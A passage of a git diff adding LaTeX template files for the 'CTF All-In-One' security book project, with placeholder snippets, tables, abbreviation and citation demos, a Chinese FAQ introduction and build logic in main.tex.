variable++;
|
||||
variable += 12 * 4 / 3;
|
||||
document.write(variable);
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div><Example HTML/div>
|
||||
</body>
|
||||
</html>
|
||||
\end{lstlisting}
|
||||
|
||||
\section{HTML Dark}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleHTMLDark, caption=Snippet title]
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
<title>GGHTMLCodeExample</title>
|
||||
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon">
|
||||
<script>
|
||||
var variable = 4;
|
||||
if(variable != null && variable == 4) {
|
||||
variable++;
|
||||
variable += 12 * 4 / 3;
|
||||
document.write(variable);
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div><Example HTML/div>
|
||||
</body>
|
||||
</html>
|
||||
\end{lstlisting}
|
||||
|
||||
\section{HTML Import}
|
||||
|
||||
\lstinputlisting[language=bash, style=customStyleHTMLDark, caption=Snippet title]{\SNIPPETHTML}
|
33
tex/contents/EN/snippets/java.tex
Normal file
33
tex/contents/EN/snippets/java.tex
Normal file
@ -0,0 +1,33 @@
|
||||
\section{Java Light}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleJavaLight, caption=Snippet title]
|
||||
/**
|
||||
* HelloWorld.java
|
||||
*/
|
||||
|
||||
public class HelloWorld
|
||||
{
|
||||
public static void main(String[] args) {
|
||||
System.out.println("Hello World!");
|
||||
}
|
||||
}
|
||||
\end{lstlisting}
|
||||
|
||||
\section{Java Dark}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleJavaDark, caption=Snippet title]
|
||||
/**
|
||||
* HelloWorld.java
|
||||
*/
|
||||
|
||||
public class HelloWorld
|
||||
{
|
||||
public static void main(String[] args) {
|
||||
System.out.println("Hello World!");
|
||||
}
|
||||
}
|
||||
\end{lstlisting}
|
||||
|
||||
\section{Java Import}
|
||||
|
||||
\lstinputlisting[language=bash, style=customStyleJavaDark, caption=Snippet title]{\SNIPPETJava}
|
7
tex/contents/EN/snippets/snippets.tex
Normal file
7
tex/contents/EN/snippets/snippets.tex
Normal file
@ -0,0 +1,7 @@
|
||||
\chapter{Snippets}
|
||||
|
||||
\input{contents/EN/snippets/bash}
|
||||
|
||||
\input{contents/EN/snippets/html}
|
||||
|
||||
\input{contents/EN/snippets/java}
|
109
tex/contents/EN/tables/tables.tex
Normal file
109
tex/contents/EN/tables/tables.tex
Normal file
@ -0,0 +1,109 @@
|
||||
\chapter{Tables}
|
||||
|
||||
% alternate rowcolors for all long-tables
|
||||
\renewenvironment{longtable}{\rowcolors{2}{LightGray}{white}\oldlongtable} {\endoldlongtable}
|
||||
|
||||
\begin{longtable}[l]{| p{40mm} | p{105mm} |}
|
||||
\hline
|
||||
\rowcolor{Gray}
|
||||
\textbf{Term} & \textbf{Description}\\
|
||||
\hline
|
||||
|
||||
\endfirsthead
|
||||
|
||||
\hline
|
||||
\rowcolor{Gray}
|
||||
\textbf{Term} & \textbf{Description}\\
|
||||
\hline
|
||||
|
||||
\endhead
|
||||
\hiderowcolors
|
||||
\endfoot
|
||||
\caption{Table example}\label{table:kysymys}\\
|
||||
\endlastfoot
|
||||
\showrowcolors
|
||||
Lotsoflines & like this like this like this like this like this like this like this like this like this like this like this like this like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
Lots of lines & like this\\
|
||||
\hline
|
||||
\end{longtable}
|
||||
|
||||
Table \ref{table:kysymys}
|
33
tex/contents/EN/useofabbreviations/useofabbreviations.tex
Normal file
33
tex/contents/EN/useofabbreviations/useofabbreviations.tex
Normal file
@ -0,0 +1,33 @@
|
||||
\chapter{Use of Abbreviations}
|
||||
|
||||
\ac{KDE} % K Desktop Environment (KDE)
|
||||
\\
|
||||
\acs{KDE} % KDE
|
||||
\\
|
||||
\acf{KDE} % K Desktop Environment (KDE)
|
||||
\\
|
||||
\acl{KDE} % K Desktop Environment
|
||||
\\
|
||||
\acp{KDE} % K Desktop Environments (KDEs)
|
||||
\\
|
||||
\acsp{KDE} % KDEs
|
||||
\\
|
||||
\acfp{KDE} % K Desktop Environments (KDEs)
|
||||
\\
|
||||
\aclp{KDE} % K Desktop Environments
|
||||
\\
|
||||
\ac{SQL}
|
||||
\\
|
||||
\acs{SQL}
|
||||
\\
|
||||
\acf{SQL}
|
||||
\\
|
||||
\acl{SQL}
|
||||
\\
|
||||
\acp{SQL}
|
||||
\\
|
||||
\acsp{SQL}
|
||||
\\
|
||||
\acfp{SQL}
|
||||
\\
|
||||
\aclp{SQL}
|
9
tex/contents/EN/useofbibliography/useofbibliography.tex
Normal file
9
tex/contents/EN/useofbibliography/useofbibliography.tex
Normal file
@ -0,0 +1,9 @@
|
||||
\chapter{Use of References}
|
||||
|
||||
\cite{exampleArticle} Article
|
||||
\\
|
||||
\cite{exampleBook} Book
|
||||
\\
|
||||
\cite{exampleManual} Manual
|
||||
\\
|
||||
\cite{exampleOnline} Online
|
3
tex/contents/EN/useofindex/useofindex.tex
Normal file
3
tex/contents/EN/useofindex/useofindex.tex
Normal file
@ -0,0 +1,3 @@
|
||||
\chapter{Use of Index}
|
||||
|
||||
\index{test index} Test
|
21
tex/contents/ZH/contents.tex
Normal file
21
tex/contents/ZH/contents.tex
Normal file
@ -0,0 +1,21 @@
|
||||
\input{contents/ZH/introduction/introduction}
|
||||
%\newpage
|
||||
% \input{contents/ZH/snippets/snippets}
|
||||
% \newpage
|
||||
% \input{contents/ZH/useofabbreviations/useofabbreviations}
|
||||
% \newpage
|
||||
% \input{contents/ZH/useofbibliography/useofbibliography}
|
||||
% \newpage
|
||||
% \input{contents/ZH/useofindex/useofindex}
|
||||
% \newpage
|
||||
% \input{contents/ZH/tables/tables}
|
||||
% \newpage
|
||||
% \input{contents/ZH/footnotes/footnotes}
|
||||
% \newpage
|
||||
% \input{contents/ZH/japanese/japanese}
|
||||
% \newpage
|
||||
% \input{contents/ZH/images/images}
|
||||
% \newpage
|
||||
% \input{contents/ZH/landscape/landscape}
|
||||
% \newpage
|
||||
% \input{contents/ZH/mathematics/mathematics}
|
36
tex/contents/ZH/introduction/introduction.tex
Normal file
36
tex/contents/ZH/introduction/introduction.tex
Normal file
@ -0,0 +1,36 @@
|
||||
\chapter{前言}
|
||||
|
||||
————“与其相信谣言,不如一起学习”。
|
||||
|
||||
\section{常见问题}
|
||||
|
||||
\begin{itemize}\setlength{\parindent}{2em}
|
||||
\item 什么是 CTF,我为什么要学?
|
||||
|
||||
CTF 是网络安全技术人员之间进行技术竞技的一种比赛形式,通过学习,可以在法律允许的范围内,快速地了解和掌握相关安全技术。
|
||||
|
||||
\item 阅读本书的预备知识是什么?
|
||||
|
||||
本书是为初学者准备的,不要求有预备知识,但如果对 Linux 操作系统,对编程有一定了解,肯定会有帮助。
|
||||
|
||||
\item 我可以买到纸质版吗?
|
||||
|
||||
抱歉,目前没有。除非对纸质书有偏好,你可以自行打印。否则由于内容整体尚未完成,且更新很快,作者更推荐使用电子版。
|
||||
|
||||
\item 本书有PDF/epub/mobi格式的吗?
|
||||
|
||||
没有 epub/mobi 版本。暂时有 pdf,可在 GitBook 页面下载,这群人正在努力学习Latex的使用,以提供更优雅的排版和PDF文件。
|
||||
|
||||
\item 我能打印本书或者作为教材教课吗?
|
||||
|
||||
太棒了!必须的!本书使用 Creative Commons license (CC BY-SA 4.0),大可随意使用。作为一个开源项目,我们当然希望更多的人了解并参与进来。
|
||||
|
||||
\item 本书为何免费,有何目的?
|
||||
|
||||
技术类书籍大多赚不到钱,只是作者的兴趣使然,顺便给自己打个广告。
|
||||
|
||||
\item 我还有其他问题。
|
||||
|
||||
你也可以选择提交issue到本仓库,也可以邮件联系我们。
|
||||
|
||||
\end{itemize}
|
5
tex/contents/contents.tex
Normal file
5
tex/contents/contents.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\IfFileExists{contents/\CONFIGLanguage/contents}{
|
||||
\input{contents/\CONFIGLanguage/contents}
|
||||
}{false-branch
|
||||
Content: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage ``
|
||||
}
|
19
tex/dictionary/EN.tex
Normal file
19
tex/dictionary/EN.tex
Normal file
@ -0,0 +1,19 @@
|
||||
% Global definitions
|
||||
\def\DICTDocDate{\today}
|
||||
\def\DICTTableOfContents{Table of Contents}
|
||||
\def\DICTListOfFigures{List of Figures}
|
||||
\def\DICTFigureName{Figure}
|
||||
\def\DICTListOfTables{List of Tables}
|
||||
\def\DICTTableName{Table}
|
||||
\def\DICTListOfCodeSnippets{List of Code Snippets}
|
||||
\def\DICTListingName{Code Snippet}
|
||||
\def\DICTAbbreviations{List of Abbreviations}
|
||||
\def\DICTAppendix{Appendix}
|
||||
\def\DICTTableOfAppendix{Table of Appendix}
|
||||
\def\DICTReferences{References}
|
||||
\def\DICTIndex{Index}
|
||||
|
||||
% Dict
|
||||
\def\DICTDocTitle{CTF ALL IN ONE}
|
||||
\def\DICTDocAuthor{firmianay | Skyel1u | phantom0301}
|
||||
\def\DICTDocEmail{https://github.com/firmianay/CTF-All-In-One}
|
19
tex/dictionary/ZH.tex
Normal file
19
tex/dictionary/ZH.tex
Normal file
@ -0,0 +1,19 @@
|
||||
% Global definitions
|
||||
\def\DICTDocDate{\today}
|
||||
\def\DICTTableOfContents{目录}
|
||||
\def\DICTListOfFigures{图片列表}
|
||||
\def\DICTFigureName{图片}
|
||||
\def\DICTListOfTables{表格列表}
|
||||
\def\DICTTableName{列表}
|
||||
\def\DICTListOfCodeSnippets{代码片段列表}
|
||||
\def\DICTListingName{代码片段}
|
||||
\def\DICTAbbreviations{缩略短语表}
|
||||
\def\DICTAppendix{附录}
|
||||
\def\DICTTableOfAppendix{附录表}
|
||||
\def\DICTReferences{引用}
|
||||
\def\DICTIndex{索引}
|
||||
|
||||
% Dict
|
||||
\def\DICTDocTitle{CTF 从入门到放弃}
|
||||
\def\DICTDocAuthor{ Firmianay | Phantom0301 | Skyel1u}
|
||||
\def\DICTDocEmail{https://github.com/firmianay/CTF-All-In-One}
|
5
tex/dictionary/dictionary.tex
Normal file
5
tex/dictionary/dictionary.tex
Normal file
@ -0,0 +1,5 @@
|
||||
\IfFileExists{dictionary/\CONFIGLanguage}{
|
||||
\input{dictionary/\CONFIGLanguage}
|
||||
}{
|
||||
Dictionary: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage ``
|
||||
}
|
3
tex/emptypage.tex
Normal file
3
tex/emptypage.tex
Normal file
@ -0,0 +1,3 @@
|
||||
\newpage
|
||||
\thispagestyle{empty}
|
||||
\mbox{}
|
0
tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf
Normal file
0
tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf
Normal file
0
tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf
Normal file
0
tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf
Normal file
0
tex/fonts/Roboto/Roboto-Bold.ttf
Normal file
0
tex/fonts/Roboto/Roboto-Bold.ttf
Normal file
0
tex/fonts/Roboto/Roboto-BoldItalic.ttf
Normal file
0
tex/fonts/Roboto/Roboto-BoldItalic.ttf
Normal file
0
tex/fonts/Roboto/Roboto-Italic.ttf
Normal file
0
tex/fonts/Roboto/Roboto-Italic.ttf
Normal file
0
tex/fonts/Roboto/Roboto-Regular.ttf
Normal file
0
tex/fonts/Roboto/Roboto-Regular.ttf
Normal file
BIN
tex/images/content/ben-kolde-367194.jpg
Normal file
BIN
tex/images/content/ben-kolde-367194.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 156 KiB |
BIN
tex/images/content/nate-grant-346782.jpg
Normal file
BIN
tex/images/content/nate-grant-346782.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 71 KiB |
BIN
tex/images/favicon/favicon_32.png
Normal file
BIN
tex/images/favicon/favicon_32.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.7 KiB |
BIN
tex/images/favicon/favicon_white_32.png
Normal file
BIN
tex/images/favicon/favicon_white_32.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.8 KiB |
BIN
tex/images/favicon/favicon_white_padding_192.png
Normal file
BIN
tex/images/favicon/favicon_white_padding_192.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 8.8 KiB |
175
tex/main.tex
Normal file
175
tex/main.tex
Normal file
@ -0,0 +1,175 @@
|
||||
% The main document in ShareLaTeX is the file which LATEX will be told to compile first. It is the main file of the project, which all other parts (classes, packages, chapters etc.) will be inputted into. By default in ShareLaTeX, the main document will be set to be the document in the project which begins with the \documentclass[...]{...} command.
|
||||
\documentclass[
|
||||
a4paper, % a4 size 210x297 mm
|
||||
12pt,
|
||||
openany, % required to remove empty page after chapter
|
||||
oneside % oneside or twoside
|
||||
]{scrbook}
|
||||
|
||||
% initialize basic settings
|
||||
\input{config/config}
|
||||
|
||||
% being document
|
||||
\begin{document}
|
||||
|
||||
%required for appendix
|
||||
\dominitoc
|
||||
|
||||
% adds only page number to page
|
||||
\pagestyle{plain}
|
||||
|
||||
% change page numbering to arabic and start by page 1
|
||||
\pagenumbering{Roman}
|
||||
|
||||
% Title page
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableTitlePage}{true}}
|
||||
{
|
||||
\input{base/titlepage/titlepage}
|
||||
\setcounter{page}{2}
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% Second page with disclaimer and copyright
|
||||
%--------------------------------------
|
||||
% remove page number on this page
|
||||
\ifthenelse{\equal{\CONFIGEnableDisclaimer}{true}}
|
||||
{
|
||||
\thispagestyle{empty}
|
||||
}{
|
||||
\ifthenelse{\equal{\CONFIGEnableCopyright}{true}}
|
||||
{
|
||||
\thispagestyle{empty}
|
||||
}{}
|
||||
}
|
||||
\ifthenelse{\equal{\CONFIGEnableDisclaimer}{true}}
|
||||
{
|
||||
\input{base/disclaimer/disclaimer}
|
||||
}{}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableDisclaimer}{true}}
|
||||
{
|
||||
\vfill
|
||||
}{
|
||||
\ifthenelse{\equal{\CONFIGEnableCopyright}{true}}
|
||||
{
|
||||
\phantom{}
|
||||
\vfill
|
||||
}{}
|
||||
}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableCopyright}{true}}
|
||||
{
|
||||
\input{base/copyright/copyright}
|
||||
}{}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableDisclaimer}{true}}
|
||||
{
|
||||
\newpage
|
||||
}{
|
||||
\ifthenelse{\equal{\CONFIGEnableCopyright}{true}}
|
||||
{
|
||||
\newpage
|
||||
}{}
|
||||
}
|
||||
%--------------------------------------
|
||||
|
||||
% Table of contents
|
||||
%-------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableTableOfContents}{true}}
|
||||
{
|
||||
%\pagestyle{empty}
|
||||
\input{base/tableofcontents/tableofcontents}
|
||||
\newpage
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% List of Figures
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableListOfFigures}{true}}
|
||||
{
|
||||
\input{base/listoffigures/listoffigures}
|
||||
\newpage
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% List of Tables
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableListOfTables}{true}}
|
||||
{
|
||||
\input{base/listoftables/listoftables}
|
||||
\newpage
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% List of Listings
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableListOfSnippets}{true}}
|
||||
{
|
||||
\input{base/lstlistoflistings/lstlistoflistings}
|
||||
\newpage
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% List of Abbreviations
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableListOfAbbreviations}{true}}
|
||||
{
|
||||
\input{base/abbreviations/abbreviations}
|
||||
\newpage
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% change page numbering to arabic and start by page 1
|
||||
\pagenumbering{arabic}
|
||||
|
||||
% Header & footer
|
||||
%--------------------------------------
|
||||
\input{base/headerfooter/headerfooter}
|
||||
%--------------------------------------
|
||||
|
||||
% Content
|
||||
%--------------------------------------
|
||||
\input{contents/contents}
|
||||
%--------------------------------------
|
||||
|
||||
% Appendix
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableAppendix}{true}}
|
||||
{
|
||||
\input{base/appendix/appendix}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableReferences}{true}}
|
||||
{
|
||||
\newpage
|
||||
}{
|
||||
\ifthenelse{\equal{\CONFIGEnableIndex}{true}}
|
||||
{
|
||||
\newpage
|
||||
}{}
|
||||
}
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% References
|
||||
%-------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableReferences}{true}}
|
||||
{
|
||||
\input{base/bibliography/bibliography}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGEnableIndex}{true}}
|
||||
{
|
||||
\newpage
|
||||
}{}
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% Index
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGEnableIndex}{true}}
|
||||
{
|
||||
\input{base/index/index}
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
\end{document}
|
Loading…
Reference in New Issue
Block a user